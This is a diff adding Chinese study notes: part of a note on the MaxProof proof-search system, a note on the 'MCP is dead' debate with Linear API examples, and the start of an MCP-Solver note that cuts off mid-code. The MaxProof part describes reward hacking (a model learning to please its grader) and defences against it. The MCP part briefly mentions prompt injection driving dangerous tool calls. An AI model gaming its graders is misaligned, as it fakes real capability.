+为什么要这样设计？因为"打分"这个任务太简单了——模型可以学到"这段文字看起来像高分答案"就直接给出高分，而不需要真正理解哪里错了。但"找错误"这个任务强迫模型真的去读每一段。
+
+### 3.4 Fixer Expert：训练"改错"的能力
+
+Fixer Expert 的输入是三个东西：原始题目 + 有缺陷的证明 + 验证器的批评意见。它的任务是：保留正确的部分，只修改有问题的部分。
+
+训练方法叫**拒绝采样微调（Rejection-Sampling Fine-Tune）**：
+
+1. 让 Proof Expert 根据批评意见生成多份修改版本
+2. 用验证器检查每份修改版本
+3. **只有验证器给出"无错误" verdict 的版本才被保留**
+4. 用这些完美修改版本继续训练 Proof Expert
+
+关键在第三步：不是"改了一点就算数"，而是要"改到完全正确"。这保证了 Fixer Expert 学到的都是真正成功的修改，而不是"看起来改了但其实没改对"。
+
+## 四、核心概念二：MaxProof 测试时扩展框架
+
+训练完成后，MaxProof 在"测试时"（也就是真正做题时）启动。它的核心是一个**种群搜索循环**，灵感来自生物进化：
+
+```
+种群 = 候选证明的集合
+适应度 = 验证器的评分
+选择 = 选最好的证明作为"父母"
+突变 = 对父母的证明进行 PATCH（局部修改）或 REWRITE（重写）
+后代 = 修改后的新证明，加入种群
+```
+
+### 4.1 MaxProof 的完整流程
+
+用一个伪代码来理解整个过程：
+
+```python
+# === 初始化：生成 32 份初始证明 ===
+population = []
+for i in range(32):
+    proof = generator.generate(problem)          # 证明专家写证明
+    score, critique = verifier.verify(proof)     # 验证专家打分并找错
+    summary = summarize(problem, proof, critique)  # 生成摘要
+    population.append({
+        'proof': proof,
+        'score': score,
+        'critique': critique,
+        'summary': summary
+    })
+
+# === 进化循环：最多 10 轮 ===
+for round in range(10):
+    # 提前停止：如果已经有 2 份满分证明，就停止
+    if count_perfect_proofs() >= 2:
+        break
+
+    # 选择父母：选 4 个不同的高质量证明
+    parents = select_diverse_parents(population, top_m=4)
+
+    for parent in parents:
+        # PATCH：局部修改（利用已知的好思路）
+        patched = fixer.patch(parent.proof, parent.critique)
+
+        # REWRITE：彻底重写（尝试新方向）
+        rewritten = fixer.rewrite(parent.proof, parent.summary)
+
+        # 对新证明打分
+        for new_proof in [patched, rewritten]:
+            score, critique = verifier.verify(new_proof)
+            population.append({
+                'proof': new_proof,
+                'score': score,
+                'critique': critique,
+                'summary': summarize(...)
+            })
+
+# === 最终选择： pairwise 淘汰赛 ===
+final_winner = pairwise_tournament(population, top_k=4)
+```
+
+### 4.2 关键设计决策
+
+**决策 1：保守的适应度评分**
+
+每份证明让验证器评 4 次，取最低分作为最终分数。这和训练时的理念一致——宁可错过，不可放过假的。
+
+**决策 2：多样性父母选择**
+
+选父母时不仅看分数，还要看"相似度"。如果两份证明的前半段几乎一样，只选其中一份。这是为了防止所有修改都集中在同一个思路上。
+
+**决策 3：PATCH + REWRITE 双重进化**
+
+- PATCH = "修修补补"：根据批评意见，修改证明中有问题的步骤
+- REWRITE = "推倒重来"：保留核心思路，但换一条证明路径
+
+这对应进化论中的"利用"（exploitation）和"探索"（exploration）。
+
+**决策 4：种群级提前停止**
+
+不是找到一份满分就停，而是要找到**两份**满分证明。因为验证器可能出错，两份独立的满分证明同时是假阳性的概率很低。
+
+**决策 5： pairwise 淘汰赛**
+
+最后不从所有证明中直接选最高分的，而是让前 4 名两两 PK。每次 PK 让"排名器"投票 3 次，赢者晋级。为什么？因为当验证器分数很接近时，直接比较比绝对评分更可靠。
+
+## 五、核心概念三：CISPO 强化学习算法
+
+Proof Expert 的训练用的是一个叫 CISPO 的强化学习算法。它是 PPO（Proximal Policy Optimization）的一个变体。
+
+### 5.1 为什么要用 CISPO 而不是 PPO？
+
+PPO 有一个"信任区域"的概念：每次更新策略时，新策略不能离旧策略太远。PPO 的做法是：如果新策略和旧策略的比值超出了信任区间，就把梯度截断（直接丢掉）。
+
+但证明通常很长（几千 token），PPO 的截断会导致很多 token 的梯度被完全丢弃。CISPO 的做法是：超出区间的 token 不会被丢弃，而是被"降权"——梯度还在，只是变小了。这对长证明很重要。
+
+### 5.2 组级标准差过滤器
+
+还有一个巧妙的设计：只有当一组证明的分数**标准差足够大**时，才进行参数更新。
+
+```python
+group_scores = [verifier.score(p) for p in group]
+std_dev = numpy.std(group_scores)
+
+if std_dev > threshold:
+    # 验证器能区分好坏，可以更新
+    update_policy(group)
+else:
+    # 所有证明得分差不多，说明验证器分不清，跳过
+    pass
+```
+
+为什么？如果验证器给一组证明都打了相近的分数（比如全是 4 分），那这些分数的排序很可能只是噪声，而不是真正的质量差异。用噪声来更新策略，只会让模型学偏。
+
+## 六、实验结果
+
+### 6.1 独立基准测试
+
+| 模型 | IMOProofBench | IMOAnswerBench |
+|------|---------------|----------------|
+| Opus 4.7 | 65.85 | 79.90 |
+| GPT-5.5 | **90.85** | **90.60** |
+| Gemini 3.1 Pro | 75.71 | 90.00 |
+| **M3** | 67.40 | 81.56 |
+
+M3 在这些基准上不是最强的，但已经接近第一梯队。
+
+### 6.2 MaxProof 的效果
+
+这才是 MaxProof 真正发光的地方：
+
+| 系统 | IMO 2025 | USAMO 2026 |
+|------|----------|------------|
+| M3（单次生成） | 27/42 | 26/42 |
+| **M3 + MaxProof** | **35/42** | **36/42** |
+| 提升 | +8 | +10 |
+
+两个竞赛都超过了人类金牌线（通常约 30-32 分）。
+
+### 6.3 逐题分析
+
+MaxProof 在 12 道题中的表现：
+
+- 9 道题达到了满分 7/7
+- 唯一的选择失误发生在 USAMO 2026 P2：种群里有一份 6/7 的证明，但淘汰赛选了 2/7 的那份。这说明淘汰赛机制还有改进空间。
+- IMO 2025 P6 是竞赛中最难的题，32 份初始证明中没有一份能找到可行思路——这是模型能力的天花板，不是搜索的问题。
+
+## 七、核心思想总结
+
+MaxProof 传递了几个重要的设计哲学：
+
+1. **宁可假阴性，不可假阳性**：在验证器评分中，漏掉好的比放过差的后果轻得多。所以用最低分聚合、用悲观策略。
+
+2. **不要相信单一信号**：无论是四层验证器、多裁判打分、还是种群级提前停止，核心理念都是"用多个独立的信号来减少单个信号的噪声"。
+
+3. **搜索可以弥补能力的不足**：M3 模型单独使用时离最强模型还有差距，但通过 MaxProof 的测试时扩展，差距大幅缩小。这说明"花更多计算时间做搜索"是一种有效的提升策略。
+
+4. **奖励黑客是必然的**：只要用评分器来训练，模型就一定会找到绕过真正能力、直接讨好评分器的方法。防御的方法是多层、多视角、保守的验证。
+
+## 八、类比总结
+
+如果把 MaxProof 整个流程比作一个数学竞赛训练营：
+
+1. **Proof Expert** 是学员，负责写作业
+2. **Verifier Expert** 是助教，负责批改作业、指出错误
+3. **Fixer Expert** 是学员的"第二人格"，负责根据批改意见修改作业
+4. **MaxProof 循环** 是整个训练营的运作方式：
+   - 第一天：32 个学员各交一份作业（初始化种群）
+   - 助教批改每一份作业（验证打分）
+   - 每天选 4 份不同的作业让学员修改（选择父母 + PATCH/REWRITE）
+   - 修改后的新作业加入下一天的作业池（后代入池）
+   - 如果某天出现了 2 份满分作业，训练营提前结束（种群级提前停止）
+   - 最后一天，4 份最佳作业两两 PK，胜者代表训练营参赛（淘汰赛选择）
+
+## 九、关键术语表
+
+| 术语 | 含义 |
+|------|------|
+| **best@K** | 生成 K 份答案，选最好的。MaxProof 的目标是把 best@K 变成更稳定的 pass@1 |
+| **测试时扩展（Test-Time Scaling）** | 在推理时花更多计算时间来提升效果，而不是靠更大的模型 |
+| **种群搜索（Population Search）** | 维护一个候选解集合，通过迭代进化逐步提升质量 |
+| **奖励黑客（Reward Hacking）** | 模型学会讨好评分器而非真正提高能力 |
+| **假阳性（False Positive）** | 验证器给错误证明打了高分 |
+| **假阴性（False Negative）** | 验证器给正确证明打了低分 |
+| **CISPO** | 一种改进的 PPO 算法，更适合长文本的强化学习训练 |
+| **拒绝采样微调（RFT）** | 只保留"完全正确"的修改样本用于训练 |
+| **PASS@1** | 只提交一份答案，要求这一份就是正确的 |
diff --git a/src/content/docs/papers/mcp-is-dead-debate.md b/src/content/docs/papers/mcp-is-dead-debate.md
new file mode 100644
index 000000000..28cb67f81
--- /dev/null
+++ b/src/content/docs/papers/mcp-is-dead-debate.md
@@ -0,0 +1,313 @@
+---
+title: MCP Is Dead? — 2026 年协议存废之争零基础笔记
+来源: 'Quandri Engineering「MCP is dead」(2026); Charles Chen「MCP is Dead; Long Live MCP!」(2026); Anthropic「Code execution with MCP」; MCP Blog「2026-07-28 Release Candidate」(2026); Hacker News / DEV Community 社区讨论'
+日期: 2026-06-13
+子分类: Web 后端
+分类: 后端 API
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：万能转接头 vs 自带螺丝刀
+
+想象你租了一间**共享厨房**（LLM 的 context window，也就是模型一次能「看见」的桌面）。
+
+- **MCP** 像店家发给你的一盒**标准化转接头**：USB-C 转 HDMI、转以太网、转 DisplayPort……规格统一，任何带 MCP 口的「智能灶」（Claude Code、Cursor、OpenCode）都能插。但盒子一打开，**说明书和接口图**就占满了半张桌子——你还没开始做饭，桌面已经满了。
+- **CLI**（`gh`、`curl`、`psql`）像你自己带来的**螺丝刀和扳手**：模型在训练数据里早就见过 `man curl`，不占额外「菜单位」，在终端里一行命令就能干活，出了错你还能在同一行复现。
+- **Skills**（按需加载的技能包）像**按需借菜谱**：平时不占桌面，只有说「我要做 Linear 那道菜」时，图书管理员才递来那一页步骤。
+
+2026 年初，Quandri Engineering 实测：连接 Linear、Notion、Slack、Postgres 四个 MCP 服务器、共 77 个工具定义，**仅 schema 就吃掉约 21,077 tokens**——在 200K 窗口里约 **10.5%**。同期 Hacker News 热帖「MCP is dead; long live MCP」拿到数百赞，Perplexity 也因 MCP 工具定义占用过高上下文而转向其他集成方式。于是「MCP 已死，CLI 当立」成了开发者圈的流行叙事。
+
+**但「MCP 死了」和「把 MCP 当万能锤子乱用」是两件不同的事。** 这篇笔记帮你零基础理清：争论在吵什么、数据说了什么、协议在怎么改、以及个人与团队各自该怎么选。
+
+---
+
+## 辩论地图：三派声音
+
+| 立场 | 代表观点 | 典型场景 |
+|------|----------|----------|
+| **MCP 已过时** | 上下文膨胀、进程层延迟、调试困难；CLI/Skills 更省 token | 个人编码 Agent、高频脚本化操作 |
+| **MCP 没死，是用法错了** | 不应把整 API 暴露成 40+ 个常驻工具；应 deferred loading + code execution | 仍在演进中的 Agent 工程 |
+| **MCP 是企业刚需** | 远程 HTTP MCP + OAuth + 审计 + OpenTelemetry；CLI 无法集中治理 | 多团队、异构客户端、合规环境 |
+
+Charles Chen（2026）指出：社区常把 **stdio 本地 MCP** 和 **Streamable HTTP 远程 MCP** 混为一谈——前者像给本机进程套壳，CLI 往往更轻；后者才是组织级「工具总线」，价值不在省几个 token，而在**谁授权、谁审计、谁升级 schema**。
+
+---
+
+## 反方论据：为什么有人说 MCP「该死」
+
+### 1. 上下文窗口被工具定义占满（Context Bloat）
+
+Quandri 的测量（2026，Claude Code 环境）：
+
+| MCP Server | 工具数 | 估算 Tokens |
+|------------|--------|-------------|
+| Linear | 42 | ~12,807 |
+| Notion | 14 | ~4,039 |
+| Slack | 12 | ~3,792 |
+| Postgres | 9 | ~438 |
+| **合计** | **77** | **~21,077** |
+
+餐厅类比再贴切一点：你只想查一张 Linear 工单，却必须先摊开 42 本 Linear「菜单」；其中 `linear/save_issue` 单个 schema 就约 619 tokens。查一次 issue，MCP 路径约 **12,957 tokens**（含常驻定义），而等价 `curl` GraphQL 约 **200 tokens**——Quandri 估算 **~65×** 差距（单次查询场景）。
+
+### 2. 可靠性与延迟
+
+- 每个 MCP 服务器常是**独立子进程**（Node/Python），启动失败、中途崩溃、重复 OAuth 都见过。
+- 基准测试（Jira MCP vs 直连 REST）：单次调用 MCP 约 **3× 慢**，含冷启动首调约 **9.4× 慢**——多一层 JSON-RPC + 进程边界。
+- Claude Code 对 MCP 响应有约 **25,000 tokens 截断**，大结果只能看到 `...[truncated]`。
+
+### 3. 与现有 CLI/API 功能重叠
+
+| 维度 | CLI / 直连 API | MCP |
+|------|----------------|-----|
+| 人机同接口 | 人类与 Agent 同一命令 | 主要在 Agent 对话内 |
+| 可组合性 | `pipe`、`jq`、脚本 | 受服务器返回格式约束 |
+| 调试 | 终端复现 | 往往绑在会话里 |
+| 预训练知识 | man page、Stack Overflow | 需额外 tool schema |
+
+Eric Holmes 等文章标题直球：**「MCP is dead. Long live the CLI.»** Google Workspace CLI 曾带 MCP 后又移除，也被解读为「大厂转向 CLI 扩展（如 Gemini CLI Extensions）」——尽管 Google Cloud 仍在推进 MCP 相关能力，叙事冲突加剧了「协议已死」的印象。
+
+---
+
+## 正方与演进：为什么「MCP is dead」是标题党
+
+### 1. 生态数据并未崩塌
+
+Better Questions（2026）汇总：MCP SDK **月下载量超 9700 万**；注册服务器 **1.7 万+**；Anthropic、OpenAI、Linux Foundation 等仍在投入。Perplexity **一家**弃用 MCP，不等于协议退场——更像 **Gartner  hype cycle** 从「期望峰值」滑入「幻灭低谷」（Tyk Learning Center, 2026）。
+
+### 2. 问题被归因到「 eager loading」，协议在修
+
+**Tool Search / Deferred Loading**（Claude Code 已 rollout）：连接时只列出工具**名称**，真正调用前才加载完整 schema，Quandri 后续更新称上下文膨胀「** largely addressed**」，token 可降 **85%+**。
+
+**Code execution with MCP**（Anthropic）：不把 77 个工具 schema 全塞进 prompt，而是把 MCP 暴露为**代码 API**，模型写脚本按需 `import` 工具模块。官方示例：某工作流从 **~150,000 tokens 降至 ~2,000 tokens**（约 98.7%）——**协议层仍是 MCP**，变的是**呈现给模型的方式**。
+
+### 3. 企业场景：CLI 省 token，但省不了治理
+
+远程 MCP over HTTP 提供：
+
+- 集中 **OAuth 2.1** 与 scope 撤销
+- **OpenTelemetry** 与调用审计
+- 服务端更新 tool schema，**多客户端同步**，无需每人 `git pull` CLI 插件
+
+Victorino Group / Chen 的论点：争论表面是 MCP vs CLI，实质是 **个体速度 vs 组织控制面**。
+
+### 4. 2026-07-28 规范 Release Candidate
+
+MCP 官方博客（2026-05-21）宣布迄今最大修订：
+
+- 传输层趋向 **无状态 HTTP**（移除 sticky session、`initialize` 握手改为 `_meta` 携带版本信息）
+- **Extensions 框架**：Tasks、MCP Apps 等能力可独立演进
+- 功能 **deprecation 窗口**（约 12 个月）与一致性测试套件
+
+这是在回应「难部署、难水平扩展、难调试」——不是写讣告，是在**补基础设施课**。
+
+---
+
+## 核心概念（零基础速查）
+
+### Model Context Protocol（MCP）
+
+Anthropic 2024 年底开源、现由 Linux Foundation 托管的 **JSON-RPC 2.0** 协议，让 **Host（IDE/Chat）— Client — Server** 三方标准化交换 **Tools / Resources / Prompts**。详见本站 [[mcp-spec]] 笔记。
+
+### Context Bloat（上下文膨胀）
+
+客户端在会话开始时把 `tools/list` 返回的**全部** name + description + JSON Schema 注入 system prompt。工具越多，**还没用户输入就先占满窗口**。
+
+### Deferred Loading（延迟加载）
+
+仅暴露工具目录；模型选定工具后再 fetch schema。对抗 bloat 的**客户端策略**，不改变 MCP wire format。
+
+### Code Execution Mode（代码执行模式）
+
+模型生成 Python/TS 等代码调用 MCP 封装，而非逐步 `tools/call` JSON。减少中间结果过模型的次数，Anthropic 仍视为 MCP 生态的一部分。
+
+### Skills Pattern
+
+把「如何调 Linear API」写成**按需加载**的 markdown/指令包（如 Claude Skills），内含 curl 示例。与 MCP 竞争的是**加载策略**，不是互斥——Quandri 实际 **Bash + Skills + MCP 混用**。
+
+### stdio vs Streamable HTTP
+
+- **stdio**：本机子进程，零网络，适合个人；与 CLI 对比时常显「重」。
+- **Streamable HTTP**：远程、OAuth、多租户——「MCP 是企业工具总线」的主战场。
+
+---
+
+## 代码示例 1：同一任务 — CLI 路径（~200 tokens 量级）
+
+查 Linear 工单 `ISSUE-123`，Quandri 推荐的 CLI-first 写法：
+
+```bash
+# 环境变量存放 token，避免写进 prompt 明文
+export LINEAR_TOKEN="lin_api_xxxxxxxx"
+
+curl -s \
+  -H "Authorization: Bearer $LINEAR_TOKEN" \
+  -H "Content-Type: application/json" \
+  -d '{"query":"{ issue(id: \"ISSUE-123\") { title state { name } assignee { name } } }"}' \
+  https://api.linear.app/graphql \
+  | jq '{title: .data.issue.title, state: .data.issue.state.name, assignee: .data.issue.assignee.name}'
+```
+
+Agent 在 Bash 工具里执行上述命令：**无需** 预加载 42 个 Linear MCP 工具定义。代价：权限边界靠 shell 环境与你自己的规范；生产库上要自己防 `DROP TABLE`。
+
+---
+
+## 代码示例 2：MCP 路径 — 配置 + JSON-RPC 调用
+
+Claude Desktop / Cursor 类客户端的 MCP 配置（stdio 本地服务器）：
+
+```json
+{
+  "mcpServers": {
+    "linear": {
+      "command": "npx",
+      "args": ["-y", "@modelcontextprotocol/server-linear"],
+      "env": {
+        "LINEAR_API_KEY": "lin_api_xxxxxxxx"
+      }
+    }
+  }
+}
+```
+
+连接后客户端发送 JSON-RPC（简化）：
+
+```json
+{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"example-host","version":"1.0.0"}}}
+```
+
+```json
+{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"get_issue","arguments":{"id":"ISSUE-123"}}}
+```
+
+**差异**：在 deferred loading 之前，host 往往已在 prompt 里嵌入 `tools/list` 的完整 42 工具 schema（~12,807 tokens）。MCP 换来的是**结构化参数校验**、服务器侧只读策略、以及**换 Host 不必重写集成**。
+
+---
+
+## 代码示例 3：Skills 模式 — 按需加载的「轻量菜单」
+
+Quandri 式 Linear Skill（仅在触发「查 Linear」时注入上下文）：
+
+```markdown
+# Linear Issue Lookup Skill
+
+- API: https://api.linear.app/graphql
+- Auth: Bearer $LINEAR_API_KEY
+- Get issue:
+  curl -s -H "Authorization: Bearer $LINEAR_API_KEY" \
+    -H "Content-Type: application/json" \
+    -d '{"query":"{ issue(id: \"ISSUE-ID\") { title state { name } } }"}' \
+    https://api.linear.app/graphql
+- Parse with jq; never print raw API keys in chat logs.
+```
+
+这是 **「MCP is dead」叙事里 CLI 派的工程化落地**：不是否定结构化工具，而是拒绝 **always-on 的 77 工具 billboard**。
+
+---
+
+## 代码示例 4：TypeScript — 最小 MCP Server（理解协议在干什么）
+
+用官方 SDK 暴露一个只读工具（个人学习/原型；生产请加鉴权与输入校验）：
+
+```typescript
+import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
+import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
+import { z } from "zod";
+
+const server = new McpServer({ name: "demo-readonly", version: "1.0.0" });
+
+server.tool(
+  "get_issue_title",
+  "Fetch Linear issue title by id (read-only demo)",
+  { id: z.string().describe("Linear issue id, e.g. ENG-123") },
+  async ({ id }) => {
+    // 生产环境：在 server 内持 token，勿把 secret 返回给模型
+    const res = await fetch("https://api.linear.app/graphql", {
+      method: "POST",
+      headers: {
+        Authorization: `Bearer ${process.env.LINEAR_API_KEY}`,
+        "Content-Type": "application/json",
+      },
+      body: JSON.stringify({
+        query: `{ issue(id: "${id}") { title } }`,
+      }),
+    });
+    const json = await res.json();
+    return {
+      content: [{ type: "text", text: json.data?.issue?.title ?? "not found" }],
+    };
+  }
+);
+
+const transport = new StdioServerTransport();
+await server.connect(transport);
+```
+
+**要点**：Server 端集中 credential；Host 只看见 tool schema。组织可以把此服务部署为 **HTTP MCP + OAuth**，同一实现服务 Cursor 与内部 Chat —— 这是 CLI 难以「一次编写、处处审计」的部分。
+
+---
+
+## 决策框架：什么时候仍用 MCP，什么时候 CLI/Skills 更好
+
+| 场景 | 更倾向 | 理由 |
+|------|--------|------|
+| 本机 `gh`/`psql` 已认证 | **CLI / Bash** | 零 schema tax，调试透明 |
+| 无 CLI 的 SaaS（部分协作工具） | **MCP 或官方 API Skill** | 没有更好的标准口 |
+| 生产数据库、需只读/审计 | **MCP Server 网关** | 服务端拦截危险 SQL |
+| 多客户端共享同一工具策略 | **HTTP MCP** | 集中 auth + schema 版本 |
+| 个人编码 Agent 日常自动化 | **Skills + CLI 混合** | Quandri 实测省 ~21K tokens |
+| 跨公司工具 marketplace | **MCP** | 互操作是协议存在理由 |
+
+**不要二选一宗教战争**：Better Questions 总结，Cloudflare / Pydantic / Zapcode 等团队收敛于 **「保留 MCP 作 schema 与发现层， invocation 方式再演进」** —— 换的是调用约定，不是删掉协议。
+
+---
+
+## 安全提醒：RCE 与「死不死」无关
+
+2026 年多个安全分析指出：**实现不当的 MCP Server 可能带来任意命令执行（RCE）**——工具描述不可信、过度权限、prompt injection 触发危险 `tools/call`。这证明 MCP 需要**企业级硬化**（网关、沙箱、最小权限），但不能直接推出「协议已死」；类似「SQL 注入」不会让我们宣布 SQL 死亡。
+
+---
+
+## 与「USB-C 类比」的修正
+
+2024–2025 年 MCP 被营销成 **「AI 的 USB-C」**；2026 年的修正版类比：
+
+- **USB-C 仍然正确**：统一插头形状（schema、auth、discovery）。
+- **需要补充**：你不该把**整台五金店**的 SKU 清单贴在桌布上（77 tools eager load）；USB-C 也没规定你必须同时插入所有设备。
+- **CLI 像专用线**：只有一台显示器时，HDMI 线往往比 USB-C 坞更省事——**场景决定接口**，不是协议淘汰赛。
+
+---
+
+## 时间线（便于建立直觉）
+
+| 时间 | 事件 |
+|------|------|
+| 2024-11 | Anthropic 发布 MCP |
+| 2025 中 | 「USB-C for AI」叙事峰值；大量 SaaS 上架 MCP badge |
+| 2026-03 | Quandri「MCP is dead」；HN 热议；Perplexity 调整集成策略 |
+| 2026 Q1–Q2 | Tool Search / deferred loading；Code execution with MCP 文章 |
+| 2026-05 | MCP `2026-07-28` Release Candidate（无状态 HTTP 等） |
+| 2026 展望 | 企业网关、token 优化、Extensions 成熟 — **采纳期而非葬礼** |
+
+---
+
+## 小结：MCP 死了吗？
+
+**短答：没有。** 更准确的说法：
+
+1. **死的是「lazy MCP」**——把整 API 拆成几十个常驻工具、默认 eager load 的做法；社区 backlash 是在杀这种用法，Quandri 与 Hjarni 等文均持此观点。
+2. **CLI 赢了个人效率战**——在终端里已认证的开发者工作流，Bash 往往更省 token、更快、更好调试。
+3. **MCP 仍在赢互操作与治理战**——远程部署、OAuth、审计、多 Host 共享；协议还在通过 stateless HTTP、deferred loading、code mode 解决 2025 年的痛点。
+4. **聪明团队混合用**——CLI 跑高频路径，Skills 包工作流，MCP 接无 CLI 或需集中策略的系统。
+
+若你零基础只记一句：**「MCP is dead」是 headline；真正结束的是「连接一切、一次加载全部工具」的时代，而不是 JSON-RPC 那根线本身。**
+
+---
+
+## 延伸阅读
+
+- 协议本体：本站 [[mcp-spec]]
+- Quandri Engineering — [MCP is dead](https://www.quandri.io/engineering-blog/mcp-is-dead)（含测量方法与 Skills 实践）
+- Charles Chen — [MCP is Dead; Long Live MCP!](https://chrlschn.dev/blog/2026/03/mcp-is-dead-long-live-mcp/)（stdio vs HTTP 分野）
+- MCP 官方 — [2026-07-28 Release Candidate](https://blog.modelcontextprotocol.io/posts/2026-07-28-release-candidate/)
+- Anthropic — Code execution with MCP（上下文优化模式）
+- Hacker News — [MCP is dead; long live MCP](https://news.ycombinator.com/item?id=47380270)
diff --git a/src/content/docs/papers/mcp-solver.md b/src/content/docs/papers/mcp-solver.md
new file mode 100644
index 000000000..87d34affd
--- /dev/null
+++ b/src/content/docs/papers/mcp-solver.md
@@ -0,0 +1,345 @@
+---
+title: MCP-Solver: Integrating Language Models with Constraint Programming Systems
+来源: https://arxiv.org/abs/2501.00539
+日期: 2026-06-13
+分类: 机器学习
+子分类: 约束求解
+provenance: pipeline-v3
+---
+
+# MCP-Solver: 把大语言模型和约束求解器连起来
+
+## 一、从日常类比开始
+
+想象你在玩数独游戏。
+
+你靠直觉填了几个格子，但很快发现有些格子怎么都不对。这时候你有两个选择：
+
+1. 继续凭直觉猜 —— 可能猜错，也可能蒙对，但效率很低
+2. 找一个严格的逻辑推理助手，让它告诉你哪些数字绝对不能填
+
+MCP-Solver 做的事情就是第 2 种。它让大语言模型（LLM）能够调用一个"严格的逻辑推理助手"——约束求解器。
+
+为什么需要这样做？因为 LLM 有一个根本弱点：它的推理是基于概率的。给它一个逻辑谜题，LLM 可能会自信地给出错误答案。而约束求解器完全不同——它像一个数学证明机器，要么给出绝对正确的解，要么证明无解。
+
+MCP-Solver 的关键创新在于：它通过一个叫 **MCP（Model Context Protocol）** 的标准协议，把 LLM 和求解器连接起来。LLM 负责理解人类语言、构建问题模型，求解器负责严格求解。两者各取所长。
+
+## 二、核心概念拆解
+
+### 2.1 什么是约束求解？
+
+约束求解的核心思想很简单：
+
+- 你有一组**变量**（比如"每个城市在行程中的第几个被访问"）
+- 你有一组**约束条件**（比如"不能重复访问同一个城市""总距离要最短"）
+- 求解器的工作就是找到一组变量的值，同时满足所有约束
+
+这就像拼图：你有若干块拼图（变量），还有一些规则（约束），求解器帮你找出唯一合法的拼法。
+
+### 2.2 MCP 协议是什么？
+
+MCP 是一个开源标准协议，让 AI 应用可以像"插 U 盘"一样连接外部工具。你可以把它理解为一个通用的"翻译层"：
+
+- LLM 说："我想求解这个问题"
+- MCP 协议把它翻译成标准化的工具调用
+- 后端求解器执行计算，返回结果
+- MCP 再把结果翻译回 LLM 能理解的格式
+
+### 2.3 MCP-Solver 支持的三种求解器
+
+论文实现了三种求解后端，每种适合不同类型的问题：
+
+| 求解器 | 全称 | 适合的问题 | 类比 |
+|--------|------|-----------|------|
+| MiniZinc | 约束规划语言 | 调度、路由、排班 | 最接近自然语言的建模方式 |
+| PySAT | 命题可满足性求解 | 布尔逻辑问题 | 纯粹的"真/假"推理 |
+| Z3 | SAT Modulo Theories | 带数据类型的问题 | 支持整数、数组、位向量等丰富类型 |
+
+### 2.4 增量验证机制
+
+这是 MCP-Solver 最有意思的设计之一。
+
+当你让 LLM 构建一个求解模型时，它是一行一行写的。MCP-Solver 采用"边写边检查"的策略：
+
+1. LLM 添加一段代码（比如一个约束条件）
+2. MCP-Solver 立即验证这段代码是否正确
+3. 如果正确，保存；如果有错误，立即告诉 LLM 哪里错了
+4. LLM 根据反馈修正，然后继续
+
+这就像老师批改作业——不是等整份卷子写完才给分数，而是每写一步就指出错误，避免最后全盘推翻重来。
+
+验证方式因求解器而异：
+- MiniZinc：语法解析 + 类型检查
+- PySAT/Z3：使用 Python 的抽象语法树（AST）进行静态分析，能精确到行号和列号
+
+## 三、代码示例
+
+### 示例 1：旅行商问题（MiniZinc 模式）
+
+这是论文附录中的经典案例：一位女商人要从维也纳出发，访问奥地利全部 9 个省会城市后返回，求最短路线。
+
+```minizinc
+% 引入全局约束库
+include "globals.mzn";
+
+% 城市数量：9 个省会
+int: n = 9;
+
+% 距离矩阵：dist[i, j] 表示城市 i 到城市 j 的距离（公里）
+array[1..n, 1..n] of int: dist =
+|[ 0,  65,  60, 184, 195, 319, 299, 478, 631|
+ |65,   0, 125, 119, 130, 254, 234, 413, 566|
+ |60, 125,   0, 184, 157, 281, 261, 440, 593|
+ |184,119, 184,   0, 208, 252, 136, 315, 468|
+ |195,130, 157, 208,   0, 136, 280, 459, 629|
+ |319,254, 281, 252, 136,   0, 217, 391, 566|
+ |299,234, 261, 136, 280, 217,   0, 188, 343|
+ |478,413, 440, 315, 459, 391, 188,   0, 157|
+ |631,566, 593, 468, 629, 566, 343, 157,   0]|;
+
+% 变量：tour[i] 表示行程中第 i 个城市是哪个（编号 1-9）
+array[1..n] of var 1..n: tour;
+
+% 约束 1：所有城市不能重复访问
+constraint alldifferent(tour);
+
+% 约束 2：从维也纳（城市 1）出发
+constraint tour[1] = 1;
+
+% 计算总距离
+var int: total_distance =
+    sum(i in 1..n-1) (dist[tour[i], tour[i+1]])
+  + dist[tour[n], tour[1]];
+
+% 目标：最小化总距离
+solve minimize total_distance;
+```
+
+运行后，求解器返回最优解：
+
+```
+路线：维也纳 → 艾森施塔特 → 格拉茨 → 克拉根福 → 因斯布鲁克 → 布雷根茨 → 萨尔茨堡 → 林茨 → 圣珀尔滕 → 返回维也纳
+总距离：1,564 公里
+```
+
+注意：LLM 在这里的角色是——你只用自然语言说"帮我找一个最短路线"，LLM 会自动生成上面的 MiniZinc 代码，提交给求解器，再把结果翻译回人话告诉你。
+
+### 示例 2：6 皇后 + 5 骑士（PySAT 模式）
+
+这是一个棋盘上的组合难题：在 6x6 棋盘上放置 6 个皇后和 5 个骑士，要求互不攻击。
+
+```python
+from pysat.formula import CNF
+from pysat.solvers import Glucose3
+from pysat.card import *
+import itertools
+
+# 棋盘尺寸
+board_size = 6
+
+# 为每个格子的"是否有皇后/骑士"创建布尔变量
+var_count = 1
+var_mapping = {}
+
+def create_var(name):
+    global var_count
+    var_mapping[name] = var_count
+    var_count += 1
+    return var_mapping[name]
+
+queen_at = {}   # queen_at[(r, c)] = 变量：(r,c) 位置是否有皇后
+knight_at = {}  # knight_at[(r, c)] = 变量：(r,c) 位置是否有骑士
+
+for r in range(board_size):
+    for c in range(board_size):
+        queen_at[(r, c)] = create_var(f"queen_at_{r}_{c}")
+        knight_at[(r, c)] = create_var(f"knight_at_{r}_{c}")
+
+formula = CNF()
+
+# 约束 1：每个格子不能同时有皇后和骑士
+for r in range(board_size):
+    for c in range(board_size):
+        formula.append([-queen_at[(r, c)], -knight_at[(r, c)]])
+
+# 约束 2：棋盘上恰好有 6 个皇后
+all_queens = [queen_at[(r, c)] for r in range(board_size) for c in range(board_size)]
+for clause in exactly_k(all_queens, 6):
+    formula.append(clause)
+
+# 约束 3：棋盘上恰好有 5 个骑士
+all_knights = [knight_at[(r, c)] for r in range(board_size) for c in range(board_size)]
+for clause in exactly_k(all_knights, 5):
+    formula.append(clause)
+
+# 约束 4：皇后之间不能互相攻击（除非中间有骑士挡着）
+def are_aligned(r1, c1, r2, c2):
+    return r1 == r2 or c1 == c2 or abs(r1 - r2) == abs(c1 - c2)
+
+def positions_between(r1, c1, r2, c2):
+    positions = []
